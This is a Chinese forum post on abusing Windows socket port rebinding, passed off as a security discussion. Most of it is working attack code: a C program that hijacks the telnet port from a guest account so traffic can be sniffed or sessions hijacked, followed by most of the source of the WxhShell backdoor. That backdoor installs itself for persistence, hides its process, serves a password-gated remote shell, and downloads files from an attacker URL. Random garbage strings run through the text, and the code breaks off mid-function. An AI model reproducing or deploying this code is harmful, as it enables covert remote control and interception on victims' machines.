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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: .Y"H{|]Mnh  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); c9 UJ=  
&Jr~ )o   
  saddr.sin_family = AF_INET; :i4>&4j  
nz=X/J6  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 6] ~g*]T  
FYe(S V(9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <opBOZ d  
FD&"k=p+X  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 '01ifA^  
,KMt9 <  
  这意味着什么?意味着可以进行如下的攻击: T@ [*V[  
<3;Sq~^  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Fj`6v"h  
(>E 70|T  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) nbpGxUF`]  
XCGJ~  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 =3Y:DPMB  
ItZqLUJ m  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  .5',w"R  
g?'4G$M  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 bk**% ]  
1?6;Oc^  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 i U^tv_1  
.."=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 RN0@Q~oTI  
~"E@do("  
  #include =+T$1  
  #include }=':)?'-.  
  #include ,<[Q/:}[  
  #include    !z !R)6  
  DWORD WINAPI ClientThread(LPVOID lpParam);   R).?lnS  
  int main() [dK5kO  
  { ZYy,gu<  
  WORD wVersionRequested; y^o*wz:D*  
  DWORD ret; X  8V^  
  WSADATA wsaData; ~mqiXr8  
  BOOL val; Ylc[ghx  
  SOCKADDR_IN saddr; BcMgfa/  
  SOCKADDR_IN scaddr; %"2 ;i@  
  int err; ^6*2a(S&  
  SOCKET s; (RP"VEVR  
  SOCKET sc; ,;aELhMZ  
  int caddsize; L#Mul&r3x0  
  HANDLE mt; }{J5)\s9  
  DWORD tid;   pg\Ylk"T  
  wVersionRequested = MAKEWORD( 2, 2 ); Q3t9J"=1g  
  err = WSAStartup( wVersionRequested, &wsaData ); RJ ,a}w[9  
  if ( err != 0 ) { jt?937{  
  printf("error!WSAStartup failed!\n"); #S57SD  
  return -1; n M +(  
  } wic& $p/%  
  saddr.sin_family = AF_INET; ]ov>VF,<  
   X~DI d  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 SjT8 eH #  
:27GqY,3sK  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 5 ",@!1ju  
  saddr.sin_port = htons(23); '!)|;qe  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) Jww LAQ5  
  { 9sQ4 $  
  printf("error!socket failed!\n"); ZGUhje!  
  return -1; G+^Q _w  
  } gpBpG  
  val = TRUE; '%@fW:r~  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 B|Y6;4?  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 1gEeZ\B-&  
  { 1m*fkM#  
  printf("error!setsockopt failed!\n"); }B{bM<dF  
  return -1; K&zp2V  
  } K:!|xr(1d  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `'Fz :i  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 *_ 2db   
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ;aJBx  
S&y(A0M  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) >[]@Df,p  
  {  FSaCbs(  
  ret=GetLastError(); VCzmTnD  
  printf("error!bind failed!\n"); $"z|^ze  
  return -1; 0ZY.~b'eu  
  } Ax*=kZmH|  
  listen(s,2); $F|3VQ~  
  while(1) [whX),3>  
  { ={[s)G  
  caddsize = sizeof(scaddr); VKcO]_W1  
  //接受连接请求 Mqu>#lL  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); y\]~S2}G  
  if(sc!=INVALID_SOCKET) "0JG96&\  
  { C NDf&dzX8  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); [89qg+z  
  if(mt==NULL) *Uvh;d{  
  { 3jMHe~.E<  
  printf("Thread Creat Failed!\n");  jpc bW  
  break; qJ).;S{AAt  
  } |{ E\ 2U  
  } T %   
  CloseHandle(mt); ZT>?[`Vgc  
  } &F4khga`^:  
  closesocket(s); Z5lE*z  
  WSACleanup(); _^+z2m+ ~N  
  return 0; "PM!03rb  
  }   !;";L5()  
  DWORD WINAPI ClientThread(LPVOID lpParam) gxry?':  
  { U$; FOl  
  SOCKET ss = (SOCKET)lpParam; !a"RHg:HO  
  SOCKET sc; 0^l|W|.Z  
  unsigned char buf[4096]; [42vO  
  SOCKADDR_IN saddr; Algk4zfK2,  
  long num; '~2S BX?J  
  DWORD val; S+03aJNN#  
  DWORD ret; AS;EO[Vn  
  //如果是隐藏端口应用的话,可以在此处加一些判断 DA)mkp  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   <ob+Ano$  
  saddr.sin_family = AF_INET; 9>y6zFTV  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 7X \azL  
  saddr.sin_port = htons(23); ! &f(X s  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^T):\x(  
  { MdzG2uZT  
  printf("error!socket failed!\n"); /s91[n(d  
  return -1; ?]i.Zi\[f  
  } so~vnSQ!x  
  val = 100; MO7:ZYq  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Vo@[  
  { mK!73<p_  
  ret = GetLastError(); H5@N<v5 u  
  return -1; rQ0V3x1"Qx  
  } *XRAM.  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) h,:8TMJRRN  
  { "i+fO&LpZ  
  ret = GetLastError();  nwH'E  
  return -1; ]#n,DU}V  
  } nJ !`^X5I  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) qA4w*{JN  
  { yDwG,)m 4s  
  printf("error!socket connect failed!\n"); ;t'~  
  closesocket(sc); 3B }Oy$p  
  closesocket(ss); < I}O_:%  
  return -1; +9S_H(  
  } !}u'%  
  while(1) crV2T  
  { iHKWz)0  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ^j"*-)R  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 m2!y;)F0  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 gwvy$H   
  num = recv(ss,buf,4096,0); P'^#I[G'  
  if(num>0) &"^,Ubfcn"  
  send(sc,buf,num,0); m"MTw@}SJ;  
  else if(num==0) 9(.P2yO  
  break; Dps0$f c  
  num = recv(sc,buf,4096,0); J1,\Q<  
  if(num>0) 01md@4NQ  
  send(ss,buf,num,0); ?n$;l-m[  
  else if(num==0) Vz$X0C=W;H  
  break; [cSoo+Mlx  
  } Vx1xULdY  
  closesocket(ss); }"?v=9.G  
  closesocket(sc); F-MN%WD~  
  return 0 ; AL #w  
  } DL&\iR  
9v_B$F$_T  
0E9LZOw4T  
========================================================== Mz}yf5{f  
-5 -X[`cF  
下边附上一个代码,,WXhSHELL S`yY<1[O  
N O|&nqq,>  
========================================================== G.KZZ-=_4  
HtWuZq; w  
#include "stdafx.h" n:c)R8X]  
a8K"Z-LlQ  
#include <stdio.h> >_ji`/ d{  
#include <string.h> Y {]RhRR  
#include <windows.h> a~b^`ykcWP  
#include <winsock2.h> ^P&)2m:s  
#include <winsvc.h> Z!Y ^iN  
#include <urlmon.h> pgK)  
Xne{:!btw  
#pragma comment (lib, "Ws2_32.lib") KsZXdM/  
#pragma comment (lib, "urlmon.lib") @/6cEiC+r\  
Go>_4)jy  
#define MAX_USER   100 // 最大客户端连接数 k(>hboR5n  
#define BUF_SOCK   200 // sock buffer !b<c*J?f  
#define KEY_BUFF   255 // 输入 buffer 5f&+(Wqw  
8+ 5-7)  
#define REBOOT     0   // 重启 we6']iaV  
#define SHUTDOWN   1   // 关机 b<UZD yN~  
K * Tj;  
#define DEF_PORT   5000 // 监听端口 `>^2MHF3LT  
)L?JH?$C  
#define REG_LEN     16   // 注册表键长度 I4%&/~!  
#define SVC_LEN     80   // NT服务名长度 Q<$I,C]  
S:qML]RO  
// 从dll定义API _9!_fIY  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Xz`?b4i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); =y" lX{}G  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); T7eo_Mn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); B|#*I[4`w@  
Hd(|fc{2  
// wxhshell配置信息 SooSOOAx[  
struct WSCFG { Z/=x(I0  
  int ws_port;         // 监听端口 Snx_NH#tA  
  char ws_passstr[REG_LEN]; // 口令 .VF4?~+M-  
  int ws_autoins;       // 安装标记, 1=yes 0=no m S[Vl6  
  char ws_regname[REG_LEN]; // 注册表键名 `.PZx%=  
  char ws_svcname[REG_LEN]; // 服务名 ax7]>Z=%d"  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v@bs4E46e  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Ql-RbM  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y"= j[.  
int ws_downexe;       // 下载执行标记, 1=yes 0=no OA#AiQUR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" &f1dCL%z7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ]Y!$HT7\  
lxTW1kr  
}; D.G+*h@ g  
a@_.uD  
// default Wxhshell configuration /M>8ad  
struct WSCFG wscfg={DEF_PORT, M~Tq'>Fn  
    "xuhuanlingzhe", &E.ckWf  
    1, z@hlN3dg  
    "Wxhshell", Q8.SD p  
    "Wxhshell", Q5'DV!0aSv  
            "WxhShell Service", +.UdEIR";M  
    "Wrsky Windows CmdShell Service", Cs$wgm*  
    "Please Input Your Password: ", =VkbymIZ4y  
  1, h@$M.h@mcG  
  "http://www.wrsky.com/wxhshell.exe", D6!`p6r+  
  "Wxhshell.exe" HpI[Af}l  
    }; SEm3T4dfzf  
@$ E&H`da  
// 消息定义模块 aML?$_6  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; m_~!Lj[u.  
char *msg_ws_prompt="\n\r? for help\n\r#>"; E )D*~2o/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; ws:@Pe4AF  
char *msg_ws_ext="\n\rExit."; F0 WM&{v  
char *msg_ws_end="\n\rQuit."; |]`\ak  
char *msg_ws_boot="\n\rReboot..."; mjUln8Jc  
char *msg_ws_poff="\n\rShutdown..."; `"J=\3->  
char *msg_ws_down="\n\rSave to "; -~Kw~RX<(  
0sW=;R2  
char *msg_ws_err="\n\rErr!"; OgjSyzc  
char *msg_ws_ok="\n\rOK!"; /5:C$ik  
Sw~jyUEr  
char ExeFile[MAX_PATH]; |<&9_Aq_  
int nUser = 0; [>xwwm  
HANDLE handles[MAX_USER]; 2<Lnfc<^k  
int OsIsNt; 3A2X1V"  
#)`N  
SERVICE_STATUS       serviceStatus; D2x-Wa  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; o ohgZ&k2]  
-7)%J+5  
// 函数声明 'r6s5 WC  
int Install(void); MKSiOM  
int Uninstall(void); fvKb0cIx]  
int DownloadFile(char *sURL, SOCKET wsh); nff&~lwhZ  
int Boot(int flag); F)KUup)gc  
void HideProc(void); +VSJve |  
int GetOsVer(void); \v bU| a  
int Wxhshell(SOCKET wsl); *9((X,v@/  
void TalkWithClient(void *cs); ej dYh $  
int CmdShell(SOCKET sock);  }6SfI;  
int StartFromService(void); f Co-ony  
int StartWxhshell(LPSTR lpCmdLine); Ht,_<zP;  
q h;ahX~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); T-pes1Wu  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); v5U\E`)s  
5tI4m#y2  
// 数据结构和表定义 B:dk>$>uQ  
SERVICE_TABLE_ENTRY DispatchTable[] = ! 9B| `  
{ D. !m*oq  
{wscfg.ws_svcname, NTServiceMain}, 4;@|tC|u  
{NULL, NULL} i_?";5B"  
}; y\&GPr  
fNOsB^Y  
// 自我安装 =E@wi?  
int Install(void) t_1a.Jv  
{ k@nx+fO}P  
  char svExeFile[MAX_PATH]; <H3njv  
  HKEY key; iLf:an*vH  
  strcpy(svExeFile,ExeFile); @D_=M tF<  
C YA#:  
// 如果是win9x系统,修改注册表设为自启动 4G;FpWQm  
if(!OsIsNt) { \ } ,="  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { WvVHSa4{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ')%Kv`hz  
  RegCloseKey(key); e<s56<3j  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W,~s0a!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ],vUW#6$N  
  RegCloseKey(key); +#~=QT9  
  return 0; >}{'{ Z &  
    } g'G%BX  
  } !<\"XxK+l  
} @cNBY7=  
else { !l!^`c  
(.Tkv Uj`  
// 如果是NT以上系统,安装为系统服务 -#srn1A>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [V'3/#Z  
if (schSCManager!=0) tpw0j CVu  
{ vUD,%@k9  
  SC_HANDLE schService = CreateService ~7aBli=  
  ( ~#3h-|]*  
  schSCManager, UO(B>Abp  
  wscfg.ws_svcname, MJ^NRT0?b  
  wscfg.ws_svcdisp,  5|2v6W!e  
  SERVICE_ALL_ACCESS, KfpDPwP@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , OU+oS,  
  SERVICE_AUTO_START, m[S6pqz  
  SERVICE_ERROR_NORMAL, -'& 4No  
  svExeFile, Ezw(J[).C  
  NULL, x9}D2Ui  
  NULL, :<Z*WoEmt  
  NULL, n|`L>@aw,  
  NULL, ;n?72&h  
  NULL W70J2  
  ); #q.Q tDz  
  if (schService!=0) gbNPD*7g9  
  { n]I_ LlbY  
  CloseServiceHandle(schService); Fhw:@@=  
  CloseServiceHandle(schSCManager); P7r?rbO"  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); `c@KlL*!Q  
  strcat(svExeFile,wscfg.ws_svcname); nnLE dJ}n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Am3^3>  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Iw(2D(se  
  RegCloseKey(key); #W`>vd}  
  return 0; !Irmc*;QE  
    } '@'~_BBZP  
  } \z!*)v/{-  
  CloseServiceHandle(schSCManager); is&A_C7yg  
} s6<`#KFAg  
} UEmNT9V  
S%n5,vwE  
return 1; 5P_%Vp`B2  
} cF{5[?wS  
xzF@v>2S+  
// 自我卸载 #iD5& klo\  
int Uninstall(void) UKyOkuY:w  
{ rQT@:$ )  
  HKEY key; Hb5^+.xur  
V#jFjObTN  
if(!OsIsNt) { {'dpRq{c|  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =)5eui>{  
  RegDeleteValue(key,wscfg.ws_regname); XE);oL2xP  
  RegCloseKey(key); #UGtYD}"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a.)Gd]}g  
  RegDeleteValue(key,wscfg.ws_regname); \M^L'Mkj  
  RegCloseKey(key); {`fhcEC  
  return 0; 1GB$;0 W),  
  } krwY_$q  
} =1 g  
} q:Gi Qk-  
else { ^44AE5TO  
=KJK'1m9  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 'c[4-m3bg  
if (schSCManager!=0) q%8%J'Fro  
{ TTcMIMyLT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zt{?Nt b  
  if (schService!=0) _U)BOE0o  
  { K~**. NF-n  
  if(DeleteService(schService)!=0) { D*3\4=6x  
  CloseServiceHandle(schService); s hjb b  
  CloseServiceHandle(schSCManager); j48cI3C  
  return 0; hEAt4z0P  
  } [su2kOX|X  
  CloseServiceHandle(schService); :3F&NsgHH  
  } TNBFb_F  
  CloseServiceHandle(schSCManager); j3|Ek  
} "o&_tB;O  
} +@D [%l|  
SPKGbp&  
return 1; $ hwJjSZ0  
} =fa!"$J3  
, Zs:e.  
// 从指定url下载文件 tWL3F?wd  
int DownloadFile(char *sURL, SOCKET wsh) \/,54c2  
{ Q" BIk =  
  HRESULT hr; Unev[!  
char seps[]= "/"; aRg/oA4}  
char *token; @? 4-  
char *file; K~"uZa^s  
char myURL[MAX_PATH]; xZAc~~9tD  
char myFILE[MAX_PATH]; L?!*HS7 m  
1<a+91*=e  
strcpy(myURL,sURL); 8 _0j^oh  
  token=strtok(myURL,seps); 0/?V _  
  while(token!=NULL) 1iBOf8  
  { <+D(GH};  
    file=token; pk2OZ,14Mj  
  token=strtok(NULL,seps); E/x``,k  
  } +e_NpC  
=YlsJ={h  
GetCurrentDirectory(MAX_PATH,myFILE); #JVw`=P  
strcat(myFILE, "\\"); `.Z MwA  
strcat(myFILE, file); B6&PYMFK?*  
  send(wsh,myFILE,strlen(myFILE),0); ^qXc%hjg  
send(wsh,"...",3,0); 6W&huIQ[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nQ>?{"  
  if(hr==S_OK) Dp|y&x!  
return 0; Up?w >ly  
else d5&avL\  
return 1; UZsL0  
Wr"-~PP  
} fsqK(io28  
b|| c^f  
// 系统电源模块 bmN'{09@  
int Boot(int flag) (+}H ih  
{ wi/Fx=w  
  HANDLE hToken; ; V)pXLE  
  TOKEN_PRIVILEGES tkp; [#$:X+lw  
?)<DEu:Y  
  if(OsIsNt) { /bm$G"%d  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); y]$%>N0vLX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MHo(j%I1E  
    tkp.PrivilegeCount = 1; V'(yrz!   
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; MKIX(r( |  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); [5Zs%!Z;8N  
if(flag==REBOOT) { 0<"4W:  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 0~{jgN~  
  return 0; "IbXKS>t  
} M:V'vme)+  
else { @{16j# 'R  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 9xL8 ];-  
  return 0; M3- bFIt  
} A?[06R5E#  
  } !}7FC>Cx  
  else { z0[_5Cm/  
if(flag==REBOOT) { `7<4]#b^o  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) m'D_zb9+  
  return 0; ?pq#|PI)  
} ^PDz"L<*  
else { RGd@3OjN  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  ! K:  
  return 0; e= $p(  
} x=(y  
} ]hY'A>4Uq  
. 7WNd/WG  
return 1; W@<(WI3  
} e<wA["^  
<u>l#weG,  
// win9x进程隐藏模块 {&Kck>C'  
void HideProc(void) i?" ~g!A  
{ ,e\'Y!'  
.$nQD.X  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ( )K,~  
  if ( hKernel != NULL ) 1#LXy%^tO  
  { r}>8FE9S'H  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); )EQWc0iKG  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); S8-3Nv'  
    FreeLibrary(hKernel); <1i:Z*l.  
  } .}'49=c  
t"[ xx_i  
return; [Q(FBoI|  
} t5 :4'%|  
n.+%eYM<  
// 获取操作系统版本 z8v]Kt&  
int GetOsVer(void) '%U'%')  
{ <Uj~S  
  OSVERSIONINFO winfo; /SDN7M]m!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 9eOP:/'}w  
  GetVersionEx(&winfo); .W4P/P w'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) CJ+/j=i;~c  
  return 1; iZsZSW \  
  else s|*0cK!K^  
  return 0; )IN!CmpN  
} _}8hE v  
45g:q  
// 客户端句柄模块 7K"{}:  
int Wxhshell(SOCKET wsl) xz!b@5DR'%  
{ 1+wmR4o  
  SOCKET wsh; $7k"?M_  
  struct sockaddr_in client; -!_f-Nny  
  DWORD myID; 2% ],0,o  
@PH`Wn#S  
  while(nUser<MAX_USER) p5RnFe l  
{ *4]u?R  
  int nSize=sizeof(client); fC6zDTis8A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); z?T;2/_7  
  if(wsh==INVALID_SOCKET) return 1; &<??,R14  
c3S}(8g5.  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Tp vq5Cz  
if(handles[nUser]==0) K&T[F!  
  closesocket(wsh); u@ MUcW  
else b$7p`Ay  
  nUser++; eBUexxBY  
  } _p;>]0cc.  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); L!:8yJK  
z4CqHS~%  
  return 0; > 4n\  
} 9i9'Rd`g  
S*"uXTS  
// 关闭 socket {owXyQ2mK  
void CloseIt(SOCKET wsh) rlUo#  
{ 5"~F#vt  
closesocket(wsh); 8PKUg "p  
nUser--; 80(Olf@PE  
ExitThread(0); Z5x&P_.x[  
} RCZ"BxleU  
r{+P2MPW  
// 客户端请求句柄 Jd]kg,/  
void TalkWithClient(void *cs) pl#2J A8  
{ /x2-$a:<  
=&%}p[ 3g  
  SOCKET wsh=(SOCKET)cs; )P13AfK  
  char pwd[SVC_LEN]; j p"hbV  
  char cmd[KEY_BUFF]; `!BP.-Zv  
char chr[1]; FX1[ 2\  
int i,j; pCacm@(hG  
g&E3Wc  
  while (nUser < MAX_USER) { I 68Y4s  
:mYVHLmea  
if(wscfg.ws_passstr) { c{"=p8F_  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); {J&[JA\   
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); k7L-J  
  //ZeroMemory(pwd,KEY_BUFF); y$Nqw9  
      i=0; zD"n7;  
  while(i<SVC_LEN) { rXh*nC  
r`dQ<U,  
  // 设置超时 t,bQ@x{zVC  
  fd_set FdRead; >O;V[H2[  
  struct timeval TimeOut; X }V}%  
  FD_ZERO(&FdRead); -eE r|Gs)  
  FD_SET(wsh,&FdRead); .}n-N #  
  TimeOut.tv_sec=8; 4D'AAr57  
  TimeOut.tv_usec=0; Zk:Kux[7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7.mYzl-F(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 9Sey&x  
gZf8/Tp\z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0<3->uK  
  pwd=chr[0]; 0jJ:WPR  
  if(chr[0]==0xd || chr[0]==0xa) { &~Hx!]uc  
  pwd=0; pie8 3Wy>  
  break; #Sc9&DfX  
  } o=]\Jy  
  i++; MlKSjKl" !  
    } VY#nSF`  
?zk#}Ex1  
  // 如果是非法用户,关闭 socket A<s zY92&5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 0 s$;3qE  
} <u_ vL WS  
TSKT6_IJw  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7Gwo:s L  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;T\+TZtI  
e,K.bgi  
while(1) { =w5]o@  
P Dgd'y  
  ZeroMemory(cmd,KEY_BUFF); '.B5CQ  
(=-6'23q)  
      // 自动支持客户端 telnet标准   Q "vhl2RX  
  j=0; I/B*iW^  
  while(j<KEY_BUFF) { Ee3 -oHa  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,{C hHnJ%#  
  cmd[j]=chr[0]; # 4&t09  
  if(chr[0]==0xa || chr[0]==0xd) { 14pyHMOR  
  cmd[j]=0; vojXo|c  
  break; agGgj>DDd  
  } 8=MNzcA }  
  j++; PjG^L FX  
    } ?E}9TQ  
-UoTBvObAm  
  // 下载文件 1/ 3<u::  
  if(strstr(cmd,"http://")) { _C3O^/<n4V  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); *'cyFu$  
  if(DownloadFile(cmd,wsh)) jwL\|B oE  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @P )2ZGG  
  else Di"Tv<RlQ  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); koa-sy)#L  
  } QOR92}yC  
  else { /O}lSXo6E  
(O$il  
    switch(cmd[0]) { eH ]9"^> o  
  at+Nd K  
  // 帮助 ]iY O}JuX  
  case '?': { o~{rZ~  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); m:D0O]2  
    break; 6r.#/' "  
  } #LR.1zZ  
  // 安装 9RPZj>ezjA  
  case 'i': { ;(-Wc9=  
    if(Install()) tc0(G~.N  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); C %i{{Y&l  
    else g#q7~#9  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K (,MtY*  
    break; _Ie?{5$ng`  
    } qi*Dd[OG  
  // 卸载 TD sjNFe3  
  case 'r': { [XhG7Ly  
    if(Uninstall()) 6DG%pF,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "Q`Le{  
    else Ay6]vU  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); j#jwK(:]  
    break; 7?;ZE:  
    } P0/Ctke;  
  // 显示 wxhshell 所在路径 xOx=Z\ c  
  case 'p': { /Un\P   
    char svExeFile[MAX_PATH]; - -\eYVh[  
    strcpy(svExeFile,"\n\r"); qjsEyro$-  
      strcat(svExeFile,ExeFile); &u!MI  
        send(wsh,svExeFile,strlen(svExeFile),0); -asjBSo*D  
    break; 25j?0P"&  
    } d%K&  
  // 重启 VXnWY8\  
  case 'b': { j+PLtE   
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); PA*1]i#2M=  
    if(Boot(REBOOT)) 7_R[ =t  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Iqci}G%r  
    else { :*ZijN*{)$  
    closesocket(wsh); Pm]lr|Q{I  
    ExitThread(0); & }7+.^  
    } u2S8D uJ  
    break; p}Um+I=1  
    } B7wzF"  
  // 关机 29^(weT"]  
